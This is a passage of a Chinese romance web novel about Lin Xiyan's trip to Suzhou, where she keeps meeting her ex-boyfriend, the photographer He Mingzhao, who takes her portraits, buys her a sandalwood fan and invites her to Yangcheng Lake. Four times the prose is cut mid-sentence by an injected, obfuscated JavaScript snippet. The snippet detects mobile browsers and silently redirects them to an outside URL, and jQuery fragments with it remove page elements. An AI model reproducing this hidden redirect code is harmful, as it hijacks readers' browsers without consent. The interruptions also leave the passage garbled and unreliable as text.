在这种温度下连续拍摄几小时确实不容易,所以林夕妍想着多一事不如少一事,双方配合着把照片拍完,对彼此都是解脱。 摄影师自然更想加快进度,被上一个客人拖的时间太长,后面的工作都被影响了。 要怎么才能加快进度,只能从剩下的客人里赶时间,他一口气指挥道:“来,人站到树下面,手抬高,回头,笑。背靠墙,仰头,侧一点,看天。扇子打开,往下遮,不要挡脸,看我左后方。” 不给林夕妍一点反应的机会,摄影师就“咔咔”几张拍完了。 他打开预览展示,“你看下,如果可以的话我们换下一个地方。”却并没给林夕妍仔细查看的机会,草草翻过就准备走。 “等等,”林夕妍是花了钱的,被这样明目张胆的敷衍,脾气再好也忍无可忍,“我感觉动作有点僵硬,笑容也有些假,而且刚才拍那么快,我都不知道自己的做得对不对,要不重新拍几张。而且这些跟模板一模一样,我只是想要这种风格,你可以随意发挥,让我换点动作。” 摄影师翻了她一个白眼,语气满是不耐,“你不太习惯镜头吧,普通人拍照多会觉得尴尬,后期会给你们修的。还有,我们就是按照模板拍的,你选了这套就有固定的拍摄方式,你是自由发挥了,结果就跟上一个人一样超时。” 一听这话,林夕妍就乐了,“人像摄影师的工作不就是通过引导,让拍摄对象在镜头前放松,流露出最自然的状态吗?自己水平不行还怪这怪那,纯靠后期我用找你们?而且在我预约之前你们也没说清楚都是按照模板拍,连改都不能改,是不是涉嫌虚假宣传、欺骗消费者?” “行,你要多拍那我们重来。”摄影师把包往地上一扔,林夕妍都担心他把设备摔坏了。 他从一个极端到另一个极端,一个动作指导十几次,一会儿说她手抬太高,一会儿又说太低。 “好了没,差不多就行了。” “这怎么行,待会儿你又说不满意怎么办? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661007|188437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 林夕妍知道他在借题发挥,故意两个字就差写脸上了。她放下手,面无表情盯着摄影师一言不发。 “怎么了,是你说早拍完早结束,现在不配合,浪费的是后面其他人的时间。你要不想拍,我们就下一个地方。” “到底谁不想拍,上一个人多花的时间算在我头上也是挺好笑的,我多等一个小时还没说什么呢。自己工作失误给别人甩脸色,你哪里来的脸。”林夕妍拿出手机,屏幕上录音条还在继续,她从头到尾一直开着,“不拍了,后续怎么处理我会跟你们店长协商。” 摄影师气急败坏地甩手而去,林夕妍走到河边树荫下坐着,拿出电风扇吹着喝水。 这个下午并不愉快,但她不想为此影响后续的行程,只可惜她做的妆造白费了,化妆师技术还是不错的,她不会把具体某个人的问题无能迁怒到其他地方。 当然,朋友的好意也辜负了,这样一个不得不拍写真的机会多难得,等再有下次被安排,不知会是什么时候。 林夕妍一边和朋友吐槽,一边默默惋惜没带三脚架,不然不要摄影师自己也能拍,没准拍的还比那垃圾人拍得好看。 朋友得知此事为她愤愤不平,“我上次是女摄,特别有耐心,很会引导,全程都在给情绪价值。我去找店长,让他给个解决方案。” “那你先去问问那个店长的意思,我热得不行,得找个有空调的地方坐会儿。”林夕妍刚挂完电话,就看见微信弹了条消息。 贺明朝:「需要救场吗朋友」 什么情况下会需要救场,这条消息想表达什么? 林夕妍来不及细细琢磨,猛地抬头四处张望,莫名的第六感还没在心中成型,就猝不及防和贺明朝四目相对。 他怎么在这? 不对,应该是他怎么又在这? 高温没让林夕妍头晕,看到贺明朝却忍不住两眼发黑,怎么全世界的巧合都让她在几天里遇上了。 贺明朝刚在附近结束工作,正准备回去,结果无意一瞥看到河对岸在拍照的林夕妍。 一开始他还不敢认,他熟悉的那个林夕妍是绝对不会主动去拍这种照的,何况还是在这么热的天,她应该更乐意待在室内或者在酒店躺着。 以前刚开始给她拍照的时候两人并不熟,在合作过程中没少拌嘴,贺明朝只能更耐心。但他发现大家熟悉之后她就自然多了,彼此有了适应的节奏,配合越发默契。 所以不是专业模特也没关系,拍摄过程中摄影师的作用很重要。 他在河这边看了会儿,就觉得这个摄影师不行,不说技术如何,但明显缺乏耐心。 果不其然,林夕妍要提意见了,而换成任何人都不会接受自己花了钱还被如此敷衍对待。 他看着摄影师怒气冲冲离开的背影,拿出手机斟酌犹豫了会儿,在林夕妍准备离开前发了那条微信。 没等林夕妍回复,贺明朝快步走到她面前,又亲口问了遍:“我可以帮忙吗?” 5. Day 2 林夕妍还没从再一次偶遇贺明朝的失语中回过神来,面对他的询问更是猝不及防。 真是奇了怪了,苏州那么大,就算她去的都是热门景点,也不至于每次能都碰见贺明朝吧? “说来也真巧,今天咱俩又遇到了,所以你不如考虑考虑?”贺明朝也不急,看她表情一会儿一个样跟变脸似的,特有意思,“不过外面太热了,前面有家饮品店,先去那坐会儿吧。” 明明不想被人牵着鼻子走,可等林夕妍再反应过来,自己已经坐在饮品店里,面前还有一杯冻柠茶。 “你不是说是和相亲对象一起出来旅游的吗?怎么,他今天又不在?”贺明朝坐在对面故作不经意地询问,然而一开口,林夕妍就想让他闭嘴。 “贺明朝你很闲吗,我怎么哪都能碰到你。”她不止一点纳闷,又觉得此人真是哪壶开提哪壶。 “是啊,我刚好工作结束没什么事,可以帮你拍。”他三两句把问题绕回来。 林夕妍确实认真思考了一下,最终还是摆摆手,“不要,你太贵了。” “怎么会?我很便宜的,以前给你拍照哪次算账了?就当我是热心的工具人好了。” 话虽如此,可以前是以前,现在是现在,哪怕贺明朝单纯一句好心帮忙,林夕妍也受不起。 眼看林夕妍喝完最后一口饮料,那样子似乎仍旧打算拒绝,贺明朝便作势起身,“行了,别犹犹豫豫,我又不坑你,走吧。” 贺明朝清楚,或许两人从前的确是合作默契的摄影师与模特,但现在三年未见,加之前男友女友尴尬的关系,拍摄未必会比刚才顺利。 他有些忐忑,自告奋勇甚至自说自话的好心背后自然满是私心,毕竟得有多大的缘分才能和她在旅行途中再三相遇。 机会如此难得却一再出现在他面前,稍不把握就只能眼睁睁看着林夕妍再度远去。 事不过三,该怎么做要怎么选,没人比他更清楚。 当然他也担心弄巧成拙,让本就成为过去式的关系变得越发疏远。 只是既然已经迈出这一步,就没想过退缩,无论结果如何,他都不想让自己在将来感到后悔。心里分明没底,却仍自言自语着告诉自己“就这一次”。 在饮品店门外不安等待片刻,林夕妍到底跟了上来,她扫了眼人流密集的长街,“能不能换个人少的地方?” 听到熟悉的声音再次响起,贺明朝由衷松了口气,唇边不自觉带上几分笑意,背着身抬手一招,“走吧,这边。” 以前拍摄的时候,林夕妍就害怕人多的场合,她本就不是专业模特,在众目睽睽之下摆各种动作更是充满压力。 那些来自外界的凝视令她感到浑身不自在,这些目光或好奇驻足,或无意扫过,哪怕其实根本无人在意,她就是做不到轻松自如。 如此细枝末节的东西早已刻在贺明朝脑海中,加上这段时间在苏州工作,他们团队没少在平江路周边取景,他心里早就有了更合适的拍摄环境。 其实除了主干道,七横八纵的小路上行人并不多,偶尔有人借道穿行,比起长街上络绎不绝的游客清净许多,自然道路两旁的店开也开得零零散散,生意明显冷清不少。 贺明朝走的这条小巷临河,他还在观察周边建筑,林夕妍已经走到河边的石栏前,“我想要人靠着栏杆,阳光从树叶缝隙中投射到脸上的那种感觉。” 贺明朝回过头,听见这话不禁失笑,才刚开始她就自然而然地表达诉求,兴许彼此之间没有他以为的生分,先前的顾虑是他庸人自扰。 “你找个舒适的姿势随意站,”贺明朝先随手拍了两张试角度和光线,“脸再朝我这边侧一点,诶很好,别动,就这样,三二一……” 拍摄时摄影师与模特通过聊天也能拉近距离,当注意力有所分散,肢体便没那么僵硬。而又因需要调整动作,回答便不假思索。 本该是工作的技巧,却被贺明朝用来不着痕迹地与林夕妍打听行程,“你在苏州准备待几天?旁边就是苏州博物馆和拙政园,准备去参观吗?” “四五天吧,博物馆没约上,不打算去拙政园,想找个人少的园林。”讲到这林夕妍就来气,在原来的行程中她已经给自己约了工作日下午去参观博物馆。谁知后来突然多出个徐佳明,为了凑他不仅改了出发时间,博物馆也只能取消后重新一起预约。 结果这次没蹲点预约,等她打开小程序的时候已经没余票了。到最后,还被徐佳明放了鸽子。 她已经在心里又把徐佳明问候了一遍,但面上仍努力维持着笑。 “博物馆不去真有点可惜,拙政园不去的话可以去艺圃,人少一点。” 说话间贺明朝给她拍了好几张侧脸与仰头视角,让林夕妍简单看过,她没说一句不好。 再往前走有石阶,贺明朝指着那个方向说:“你坐过去,我在这边透过花拍个远景试试。” 林夕妍依言照做,只是她依旧习惯性低眉垂眼,与刚才不过换了个地方和姿势的区别,仿佛把人抠图后复制粘贴过去。 “我们换个动作,你手肘撑在膝盖上,手掌托着下巴,不要贴脸,虚托就好,头不用偏太多,眼睛向下看一点。”贺明朝前后左右走动,蹲下又站起,“好,再抬手假装捋一下碎发,对,很好。” 在拍摄过程中,林夕妍最喜欢听到“很好”“不错”诸如此类的反馈,哪怕拍得并不完美,只要摄影师予以肯定,她就越放松,状态自然不同。 与贺明朝刚认识的时候他还没有太多人像拍摄的经验,却早已掌握了为模特提供情绪价值的要领,但那时夸得太多,过犹不及,如今指导与肯定结合得恰如其分。 “侧面拍得够多了,要不要来几张正面?”贺明朝又翻了一遍之前的照片进行确认,“不过你好像缺点东西。” 林夕妍看了眼自己空空的双手,在原本的妆造里包含了搭配好的手持,连同她身上的这件旗袍可以一起用到晚上六点,但那些物件都在摄影师的随身包里,被他一起带走了。 “这简单,平江路最不缺卖这些东西的地方了。”贺明朝收起相机,抬步朝主干道走,“你应该还没好好玩,顺便一起逛逛吧。” 还是算了。林夕妍心里这样说,她只想赶紧买好道具,与贺明朝速战速决后独自闲逛,单是请他充当摄影师就够节外生枝了。 不料贺明朝带她路过的第一家店是苏州博物馆的文创店,但凡遇到这类店,林夕妍就走不动道,何况她没预约上博物馆。 她深深看了眼贺明朝,率先跨过门槛,跟随人流走向看起文创来。 贺明朝承认自己是借着买东西的机会和她四处走走,但绝对不是故意带她来文创店,只能说天注定让他们路过这里。 没犹豫,他就快步跟在林夕妍身后,看她左挑右拣,又问工作人员:“可以邮寄吗?” 工作人员说可以直接在网上的官方旗舰店下单,还免运费。 林夕妍就把那些东西又放回去,走到一旁人少的地方拿出手机下单,最终空着手出来。 “这又是你的极简主义,不给行李箱增重?” “对啊,这些小东西看似没什么分量,但我拎回酒店也要力气,还要在行李箱里给它们腾地方,不如直接下单回家。” “你住得很远吗?” “那倒没有,就在附近。”林夕妍说了酒店名字,步行过来只要七八分钟,去哪都方便。 “所以你是打算买了东西全都寄回去?” “如果都可以寄那再好不过,怎么来就怎么回,关键廉航行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661008|188437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李有限重啊。”其实这才是真实原因。 贺明朝失笑,陪她从文创店出来继续向前,走过丝绸店时他说想进去看看扇子。 “不要吧,这种店一看就很贵,拍照道具用不着这么金贵。”林夕妍以为只是随便买把折扇,大概也是次抛产品,根本没考虑过质量。 拗不过贺明朝,他们还是进去了,这是家以卖丝绸为主的店面,展示柜中也有不少苏扇。 每一件看起来都格外精致,价格有高有低,四位数以上的扇面更精致,林夕妍只远远欣赏,并不上手。 贺明朝却是真的在找适合她今天这身穿搭的扇子,她穿的是月白真丝提花缎旗袍,“你这身颜色比较素雅,适合木扇。” 他挑了三把檀香扇对着林夕妍比画,每一把的做工看起来都很精致,与便宜的扇子也不放在一处展示。单独摆在陈列柜中,边上还有专门的制作流程介绍,每一把扇子都由手艺人历经数月,经过拉花、烫花、画花、雕花四道工序才得以制成。 贺明朝眼光的确很好,最终选中的是一把暗花老山檀,与林夕妍心中所想一致。 她的确喜欢,也可以买,但并不是所有喜欢的东西都必须得到,“衣服是租的,拍一次就还回去了,这么有价值的扇子还是留给其他有缘人吧。” “我就是这个有缘人。”他说着准备连同盒子一起拿下来。 “我看你是冤大头。”林夕妍以为他在开玩笑,哪知他真往收银台去了,连忙拉住他,“不是,你真买啊?少掉两个零还差不多,这么贵的买了干什么?” “我摆着当装饰收藏。” 林夕妍眼睁睁看着他付了钱,转身朝她招手,“走吧,再买束花去桥上拍。” “贺明朝你真是有钱没处花,这些年拍婚纱照挺赚钱啊。”她跟在后面吐槽。 “拍人确实赚钱,至少不像以前要倒贴。”贺明朝还在全世界各地跑的时候投入远比收入大,“等会儿,你怎么知道我拍婚纱照?我好像从来没发过朋友圈。” 林夕妍心虚目移,故作镇定,“之前有人跟我提过一嘴,说你在西藏干得不错,有机会给我欣赏一下作品集。” “好说,好说。”贺明朝也不追问,只是含笑看她快步超过自己走在前。 路边卖花的不少,贺明朝随意买了一束追上她,把花束递过去,“你背着手拿花,走到桥上后回头,看不看镜头都拍几张。” 林夕妍当即明白他要什么样的效果,幸好往来行人不多,她上桥时刻意放慢步伐。 贺明朝提前调节了快门速度与光圈,找好角度后开启高速连拍,一个劲狂按快门。 在桥上拍照到底会影响行人,贺明朝看了眼成片,有几张还不错,可以一遍过,便远远冲已经在对岸的林夕妍比了ok的手势。 河对岸人少,大片白墙正是贺明朝想要的下一个场景,他过了桥拿出刚买的扇子,“你把扇子打开,右手反手持扇挡住左半张脸,左手背着放在身后,腿自然弯曲一点,假装靠着墙站。” 这是林夕妍今天的第一张正面照,她半张脸藏在扇后,半张脸直视镜头。 与贺明朝拍到现在,她其实已经适应了,甚至一开始就没花太多时间便找回先前合作的默契,但那都是在不拍正脸的基础上。 可现在,她分明看的是镜头,却仿佛透过镜头能够直视贺明朝的眼睛。 原有的镇定从容不复存在,那种不自然的紧张感浮上心头,她下意识就要移开目光再度低头。 也是这个瞬间,时隔三年,贺明朝第一次与林夕妍透过取景框对视,在她眼神闪躲之际贺明朝先一步按下快门。 刹那间捕捉的景象在视觉上短暂停留,贺明朝从她眼中看到了慌乱无措,也为她拍下今天的最后一张照片。 6. Day 2 人在慌乱的时候总是表现得很忙。 林夕妍举起檀香扇对着日光假装观察木片上的镂刻,随后又凑近鼻尖细嗅檀香,装模作样说了句:“果然贵有贵的道理,这檀香味还挺重。” “喜欢的话送你。”贺明朝作势把木盒递过去。 “君子不夺人所好。”林夕妍小心翼翼收起扇子放进去,郑重还给他,“今天就拍到这吧,耽误你很久了。” 贺明朝把盒子往包里随手一塞,摸出读卡器往自己手机里导照片,顺便看了眼时间,“行,今天先这样,等晚上我回去大概修一下再发你。” “你都用读卡器了,就不能给我手机里也导一份?”林夕妍看他给自己传完照片就把读卡器收起来了。 “工作习惯,不用等太久,最晚明天,到时候把原图和进修一起打包发你。” 林夕妍没再多说,下午本就被原来的摄影师耽误得晚,现在与贺明朝拍完已经五点多。 “我要去还衣服了,顺便问问店长怎么处理投诉,不如你先走?” “就怕店长不讲理,我陪你一起去。”这话说得坚定,贺明朝想如果林夕妍拒绝,那他就跟在后面,万一有什么还能帮上忙。 结果林夕妍只是点点头,说那走吧。 她下午怼摄影师时看似强硬,其实是个外强中干的人,那番争论不过是愤怒值达到顶峰时的昙花一现。 等事情稍一过去,怒意只剩余烬,万事随缘的念头又冒了出来。 她怕到时候店长给出的解决方案不满意,却又碍于不想多费口舌与时间而勉强答应,等事后再在心里懊恼。 带上贺明朝就不同了,以前只要有他在,所有问题都能快速高效解决,为她省了不少麻烦。 回到摄影馆,化妆师看到林夕妍来了,连忙拍拍坐在沙发上的寸头女人,“店长,人来了。” 寸头女人放下手机,还没看清林夕妍,就站起来冲她鞠躬道歉,“非常抱歉,给您带来了不好的体验。” 说着她从沙发边上拎了个礼盒,林夕妍看到上面一晃而过的四个字——中式茶点。 “摄影师那边我也跟他谈话了,他说今天确实是有情绪,这是他刚才去买的点心,希望您能收下。另外关于您今天拍摄中断的处理,我们这边的意思是换个女摄给您重拍,在原有套餐的基础上多两套衣服和六张精修,您看可以吗?” 林夕妍没想到她会上来就鞠躬,态度也十分诚恳,而且朋友后来在微信上说了退钱不太可能,对于店长目前提出的解决方案,她觉得可以接受,只是还有个问题。 “可以是可以,但我来旅游时间有限,后面几天有其他安排,你看能不能先保留这次拍摄,如果之后我有朋友来苏州旅游,就把这次的让给她拍。” 店长想了想,“行吧,反正给您留一次拍摄套餐,至于到时候是您还是您朋友来,都可以使用。” 从店里出来,天色已经完全暗了,远处传来各种小吃的香味,林夕妍意识到自己饿了。 她偷偷看了眼贺明朝,早知道如此顺利,刚才就不用麻烦他了。 现在到晚饭时间,人家又帮忙拍了一下午的照片,直接和他分道扬镳似乎不太合适。 正纠结要如何才能自然地问他要不要一起吃晚饭,贺明朝先开了口:“都这么晚了,一起吃饭吧。” 由他提出,林夕妍踏实多了,只是嘴上仍揶揄:“不是说不跟我算账吗?一起吃饭是想让我请客的意思?” “我请,下午辛苦你陪我练手。”贺明朝打开某美食软件,“我觉得这家店很不错,你看看想不想去。” 是一家名为香雪海的本帮菜,林夕妍粗略翻了翻菜单与评价,发现是很地道的老字号,“就这家吧。” 香雪海有很多门店,他和同事去了好几家,吃下来觉得合作方推荐的胥江路上的那家店最好吃。 毫无疑问,他就准备带林夕妍去这里,“我车停在附近,现在路上有点堵,大概二十分钟到吧。” 林夕妍跟他走到停车场,上车前先开了后座门,把店长刚才给她的那盒点心放在了后面地上,“这个给你吧,我吃不完也不想带走。” “那我就借花献佛,过两天给同事分了。” 不仅路上晚高峰堵,餐厅生意也很好,两人等了一会儿才有座。 林夕妍已经提前看好了菜单,坐下就如同指点江山般报菜名:“苏式熏鱼、响油鳝糊、咸肉菜饭,我要这三个就够了,你看看再加点什么?” 他又加了份年糕炒蟹,“这几天还不够冷,但大闸蟹也能吃了。” 林夕妍之前就看到网上说苏帮菜口味偏甜,会在炒菜的时候加糖,所以每道菜上来时她都会和贺明朝猜甜咸口。 虽然熏鱼和响油鳝糊都是甜的,但她都很喜欢,“之前喝了苏式绿豆汤也觉得不错,看来我还挺适合待在苏州的,至少吃得惯。” “是啊,吃还是很重要的。我记得之前你跟我们去南极那次,天天说自己感觉要饿死了。”贺明朝说完,才意识到自己提到了一个不太合适的话题。 他们的矛盾正是因为那次的南极之行而爆发的,尽管一晃眼过去三年多,可这不代表能成为他们聊天时随口提及的一个事件。 与贺明朝担心的不同,林夕妍毫无异样,还附和着说:“就是,天天吃白人饭都没力气上吊了。” 说话间,最后一道年糕炒蟹上来了,贺明朝先往她碗里夹了半只,“我感觉应该清蒸的更好吃,不过炒的又是另一种口味。如果不赶时间,可以找一天去阳澄湖玩玩。” “原本是有这个打算,可是苏州过去没车不方便,打车来回也有点麻烦。”在原先的计划里,她准备到苏州租车自驾,反正有徐佳明当司机。 结果么,不提也罢。 贺明朝盯着认真吃蟹的林夕妍,面上看起来平静无波,实则心里正天人交战。 他想邀请林夕妍一起去阳澄湖,却又在思考要如何开口才显得自然而不突兀,只是不管怎么说都像是别有用心。 算了,不管了。贺明朝一咬牙,说话前差点咬到舌头,“我有车啊,你要没什么安排,明天一起去怎么样?” 林夕妍放下吃螃蟹的手,拿湿巾将每根手指细细擦过,才缓缓抬头看向贺明朝,却没有言语。 “我没别的意思,”贺明朝被她看得心虚,喝了口饮料解释,“现在正是吃母蟹的时候,你看今天的蟹黄已经很饱满了,那阳澄湖的品质一定更好,你来都来了,玩要玩得尽兴,吃也要吃得地道满意嘛。” “贺明朝,”林夕妍看他一本正经地解释只觉好笑,“其实你可以不用说这么多的。” 听她这么说,贺明朝后面还有一堆为自己找补的话便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661009|188437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收住了。 “其实今天遇到你挺意外的,你又给我拍了好多我很满意的照片,真的很感谢,不然下午我可能就回酒店躺着了,估计后面几天游玩的心情也会被影响。晚上你又带我来这里吃饭,菜很正宗味道也不错,好像你做什么事都尽心尽力,让人挑不出毛病,仅仅是作为朋友和你一起旅游一定会觉得很愉快。”她曾经在他身边也有无数个感到如此轻松愉快的瞬间。 林夕妍为自己和他将饮料倒满,“但这是我自己的旅行,不能一直麻烦你,去哪里不去哪里,都是我自己应该提前考虑的事。你作为我的朋友和前男友,在偶遇的一天能陪我这么久已经很不容易了。不管是苏州博物馆还是阳澄湖,或者其他没去的地方,我还能下次再来。” 林夕妍原本也没想说这么多,可不知为何话到嘴边就成了这样,“所以,明天不能再麻烦你了。” 意思就是她不去。 被拒绝也在意料之中,但贺明朝并不气馁,毕竟下午说要当她摄影师的时候也被拒绝了,这很正常。 他最是了解林夕妍总是喜欢口嫌体正直,话是这样说,心里未必这样想,拒绝还是因为碍于和他之间的关系。 所以他既不说好,也没再次争取,只是不甚在意地点点头,“这样啊。” 两人便当插曲般将这个邀请抛之脑后,聊着天把剩下的菜吃完,林夕妍拦住贺明朝去结了账。 “我送你回酒店,发个定位我。” 在回去的路上,贺明朝把自己的手机给她,“你不是想看我拍的婚纱照吗?里面都分类好了,你随便看看。” 那不过是林夕妍为了掩饰的随口一提,但他既然还记得,就接过手机看了起来,说不好奇肯定是假的。 方珏发给她的只有几张,哪有直接拿本人相册看得直接。 相册里按照时间分类,林夕妍看到最早一个文件夹的建立时间,“为什么会想到去当婚纱摄影师?你以前……” 话说到一半又顿住,他们的对话总是无意间就夹杂了太多以前,林夕妍想避免谈论太多的过去,然而这似乎无法避免。 “也没什么不能说的,原因很简单也很现实,极限拍摄烧钱又危险。以前我们都觉得只要能拍出满意的作品,其他的都无所谓。但人是会变的,你还记得木子吗?他结了婚以后就转行了,后来团队里离开的人越来越多。我们最后一次计划是去拍卓奥友冰川,当时剩下的人连我就三个,我们找了向导准备好一切,结果爬到一半的时候严重高反,那两个人说可以坚持,但在那个瞬间我突然想到你……想到如果我们出了意外,会有人担心。下山之后我们三个决定给自己放个假,我在西藏住了几个月,有朋友想让我去他的工作室帮忙,他专门给新人拍不同寻常的婚纱照,没那么危险却又特别,我这一去就留了下来。” 林夕妍静静听着,翻到好看的景色还会问他是在哪里。 很快到了酒店,林夕妍再次道谢,“以后有机会来云南的话,我再请你吃饭。” 她下车关好车门,转头挥了挥手。 贺明朝降下车窗,叫住回身要走的她,“林夕妍,明天一起去阳澄湖吧?” 晚风吹在身上,不似白天闷热,林夕妍愣在原地,没有车窗的遮挡与他四目相对。 贺明朝眼中有笑意,他这次坦荡承认:“我想和你一起去。” 7. Day 3 林夕妍觉得贺明朝格外狡猾,竟然在分别前趁她毫无准备的时候再次相邀。 拒绝的话就在嘴边,明明很简单的一句话,却迟迟没能说出口。 今晚在香雪海吃的炒蟹品质饱满鲜美,如果换一种做法,应该会更好吃吧? 每年只有这几个月是最适合吃大闸蟹的时候,如果错过现在就要等到明年,可谁又知道她再来苏州会是什么时候。 “明天几点出发?”这话便是答应了。 只是为了满足口腹之欲,绝对没有其他想法,林夕妍在心里这样告诉自己。 “八点,”贺明朝说完又觉得太早,生怕林夕妍一个不乐意又拒绝了,“会不会有点太早了?你起床了给我发消息吧,现在过了节假日人不会很多,开车过去一个小时左右,晚点吃饭也可以。” “不用,就八点,明天见。”林夕妍说完就走了。 唯独贺明朝还沉浸在突如其来的喜悦中,这一整天都像做梦般不真实。 回到房间,林夕妍边卸妆边和方珏打视频。 对面听她说了今天后来的事,原本正感慨他们缘分莫名,得知她明天还要和贺明朝一起去阳澄湖,直接一个鲤鱼打挺从床上坐起来。 “你们俩挺有意思哈,”方珏有些难以理解,“谁家好人和前任一起旅游,你俩真是演都不演了,不会等你从苏州回来,你们都复合了吧?” 林夕妍嗤了一声,“说什么呢,没有的事,巧合罢了。” “是是,你不过只是想去阳澄湖吃大闸蟹,”方珏一脸我才不信的表情,“饮食,男女,这很正常。” 她没再就这个话题没多问,转而说起自己工作上的事,把甲方骂爽了又关心起林夕妍的工作:“你漫画结局想好没啊?去旅游的主要目的是找灵感,别玩到最后把正事忘了。” “放心吧,虽然暂时依然没头绪,但肯定能按时完结。” 两人聊了会儿八卦,林夕妍便以要早睡为由挂了。 她确实准备睡了,下午拍照已经耗光了所有精力,连吃晚饭都是消耗的额外电量。 / 早上八点,林夕妍拎着一个纸袋准时出现在酒店大堂,贺明朝已经在等她了。 袋子里是她在餐厅打包的早饭,上了车她把纸袋递给贺明朝,“不知道你吃没吃早饭,随便带了点。” 贺明朝从后座拿了块平板与她交换,“你看看,昨天拍的照片,都已经修好了。” 林夕妍一张张翻过去,她不喜欢p太过的照片,好在贺明朝只是调色和修了画质,每张都是她想象中的效果。 趁贺明朝还在吃东西的间隙,林夕妍把照片发给自己,“昨天修图修到很晚吗,都很好看,谢谢。” “本来是觉得有点累的,但吃了你给我带的早餐已经好了,我们现在就出发。” 导航显示九点二十到达目的地,贺明朝打开车载音乐,专心开车。 林夕妍觉得都不说话的气氛有些尴尬,正冥思苦想该聊些什么才不会让彼此尴尬,结果还没想出个合适的话题,电话铃先响了。 贺明朝立刻把音量调低,她却过了好一会儿才接。 语气听起来有些不情愿,“喂,干嘛?” 电话那头听着似乎是个男声:“你应该还在苏州吧,玩得怎么样?” “挺好的。”林夕妍言简意赅,不欲多聊。 “我这边工作处理好了,现在来找你的话晚上就能到苏州,反正你后面也没事,我们可以再多玩几天。你一个人玩多无聊,等我来了一起去阳澄湖。” 林夕妍没忍住笑出声,贺明朝在一旁听着却觉得瘆人,“不用了,我现在正在去阳澄湖的路上。” 她觉得徐佳明那句“反正你后面也没事”是在说她很闲,毕竟她一个画漫画的,又不用打卡上班,在别人看来每天和无所事事没区别。 而徐佳明是朝九晚五的打工人,生活必须跟着工作来,老板一句话就能暂停他的休假,所以像林夕妍这样的自由职业在他看来就应该迁就他人。 “那我们还可以去别的地方,而且你一个人我到底不放心,这次我真的不会……” “我说不用了,”林夕妍直接打断他,“而且谁告诉你我一个人了?没什么事的话就这样吧。” 她刚挂电话,贺明朝就迫不及待地问是谁。 “相亲对象。”林夕妍本就没打算遮遮掩掩,从一开始就明确告诉贺明朝的确有相亲对象这么一个人的存在。 贺明朝若有所思,“你相亲对象是块砖,糊弄人还挺好用。” “有必要骗你吗?”林夕妍把自己与徐佳明如何相亲,又如何被他放鸽子的事与贺明朝原原本本说了,“要不是看他长得确实有点小帅,第一次相亲吃饭的时候我就准备直接走人了。” 贺明朝起初还点评两句予以回应,听到林夕妍说相亲对象帅,瞬间就沉默了。 过了会儿他才冷不丁来了句:“看看照片,能有多帅。” 等红绿灯的时候林夕妍真找了张徐佳明的正面照,贺明朝看了又看,他竟然觉得自己和他长得有点像。如果没剃寸头的话,应该会更像。 贺明朝越想心里越不是滋味,真要按先后顺序来说,应该是这位相亲对象和他有点像。可如果这么说,林夕妍是把相亲对象当成他的替身了吗?那他算什么? 他把手机还给林夕妍,沉默着继续开车。只是转念一想,林夕妍夸相亲对象长得帅,那不也是在夸他? 林夕妍一言未发,贺明朝就先自己在脑海里脑补了一出又一出,从白月光替身到自我攻略的自我安慰。 “长得确实还可以吧?”林夕妍自然不知道他在想什么,“可惜几次接触下来觉得人不太行,都说旅行可以更好看清一个人,都还没开始呢就直接出局了。” 她只是随口感慨,哪知贺明朝接了句:“那你看清我了吗?” “什么?”林夕妍一愣。 “以前我们去过那么多地方,你觉得我是个怎样的人?”这话憋在贺明朝心里很多年,在一起时没想过要问,分手时更问不出口,时至今日才有机会开口。 不可避免的,又一次提起从前。 林夕妍却不像之前那般抗拒,像这样与贺明朝聊天的机会应该不多了,既然不知道该说什么,那便说说从前吧。 她认真想了会儿,“你应该知道其实我是个不太愿意出远门的人,从小到大旅游都在国内。一个是因为爸妈不放心,还有一个是因为外语不好,一想到要在人生地不熟且语言不通的地方乘坐复杂的公共交通,就焦虑到睡不着。 “而你说你父母放养你,很小的时候就让你一个人跟团去国外,中学暑假你还参加夏令营在阿拉斯加生活了一个月,后来就独自旅行。这些经历在我听来既遥远又陌生,但很有意思,所以我想如果能与你同行,应该是一一种新的体验。事实也如此,曾经我所有的顾虑,有你在就不成问题。 “所以非要我说你是个什么样的人,应该没有比可靠和安心更适合了。” 贺明朝听她说了一番长篇大论,唇角越扬越上。 忽听她又一个转折,“但是……” 那笑的弧度便停住了,“但是什么?” “但是你只想着将同行人安排妥帖,并不在意自己,只要能拍到满意的照片,怎样都可以。” 所以他们最后一次的旅行会变成那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 